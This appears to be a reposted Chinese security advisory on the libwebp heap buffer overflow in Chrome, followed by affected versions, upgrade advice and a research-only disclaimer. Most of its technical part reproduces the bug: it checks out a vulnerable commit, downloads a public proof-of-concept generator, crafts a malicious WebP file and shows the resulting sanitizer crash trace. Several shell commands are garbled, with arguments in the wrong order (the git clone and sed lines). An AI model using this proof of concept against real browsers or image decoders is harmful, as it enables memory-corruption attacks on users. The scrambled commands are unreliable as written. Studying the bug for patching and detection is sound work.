一、漏洞概述
https://chromereleases.googleblog.com/2023/09/stable-channel-update-for-desktop_11.html
https://blog.isosceles.com/the-webp-0day
checkout webp
clone https://chromium.googlesource.com/webm/libwebp/ webp_test git
cd webp_test/
checkout vulnerable version
git checkout 7ba44f80f3b94fc0138db159afea770ef06532a0
enable AddressSanitizer
's/^EXTRA_FLAGS=.*/& -fsanitize=address/' makefile.unix sed -i
build webp
make -f makefile.unix
cd examples/
's proof-of-concept code fetch mistymntncop
wget https://raw.githubusercontent.com/mistymntncop/CVE-2023-4863/main/craft.c
build and run proof-of-concept
gcc -o craft craft.c
./craft bad.webp
test trigger file
./dwebp bad.webp -o test.png
=================================================================
==207551==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x626000002f28 at pc 0x56196a11635a bp 0x7ffd3e5cce90 sp 0x7ffd3e5cce80
WRITE of size 1 at 0x626000002f28 thread T0
0 0x56196a116359 in BuildHuffmanTable (/home/isosceles/source/webp/webp_test/examples/dwebp+0xb6359)
1 0x56196a1166e7 in VP8LBuildHuffmanTable (/home/isosceles/source/webp/webp_test/examples/dwebp+0xb66e7)
2 0x56196a0956ff in ReadHuffmanCode (/home/isosceles/source/webp/webp_test/examples/dwebp+0x356ff)
3 0x56196a09a2b5 in DecodeImageStream (/home/isosceles/source/webp/webp_test/examples/dwebp+0x3a2b5)
4 0x56196a09e216 in VP8LDecodeHeader (/home/isosceles/source/webp/webp_test/examples/dwebp+0x3e216)
5 0x56196a0a011b in DecodeInto (/home/isosceles/source/webp/webp_test/examples/dwebp+0x4011b)
6 0x56196a0a2f06 in WebPDecode (/home/isosceles/source/webp/webp_test/examples/dwebp+0x42f06)
7 0x56196a06c026 in main (/home/isosceles/source/webp/webp_test/examples/dwebp+0xc026)
8 0x7f7ea8a8c082 in __libc_start_main ../csu/libc-start.c:308
9 0x56196a06e09d in _start (/home/isosceles/source/webp/webp_test/examples/dwebp+0xe09d)
0x626000002f28 is located 0 bytes to the right of 11816-byte region [0x626000000100,0x626000002f28)
allocated by thread T0 here:
0 0x7f7ea8f2d808 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:144
1 0x56196a09a0eb in DecodeImageStream (/home/isosceles/source/webp/webp_test/examples/dwebp+0x3a0eb)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/isosceles/source/webp/webp_test/examples/dwebp+0xb6359) in BuildHuffmanTable
...
二、影响范围
Google Chrome(Windows)版本 < 116.0.5845.187/.188
Google Chrome(Mac/Linux)版本 < 116.0.5845.187
三、安全措施3.1 升级版本
目前该漏洞已经修复,受影响用户可升级到以下版本:
Google Chrome(Windows)版本 >=116.0.5845.187/.188
Google Chrome(Mac/Linux)版本 >=116.0.5845.187
四、下载地址
https://www.google.cn/chrome/
原文始发于微信公众号(哆啦安全):WebP图像编解码库libwebp存在堆缓冲区溢出漏洞(升级Google Chrome浏览器为最新版本)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论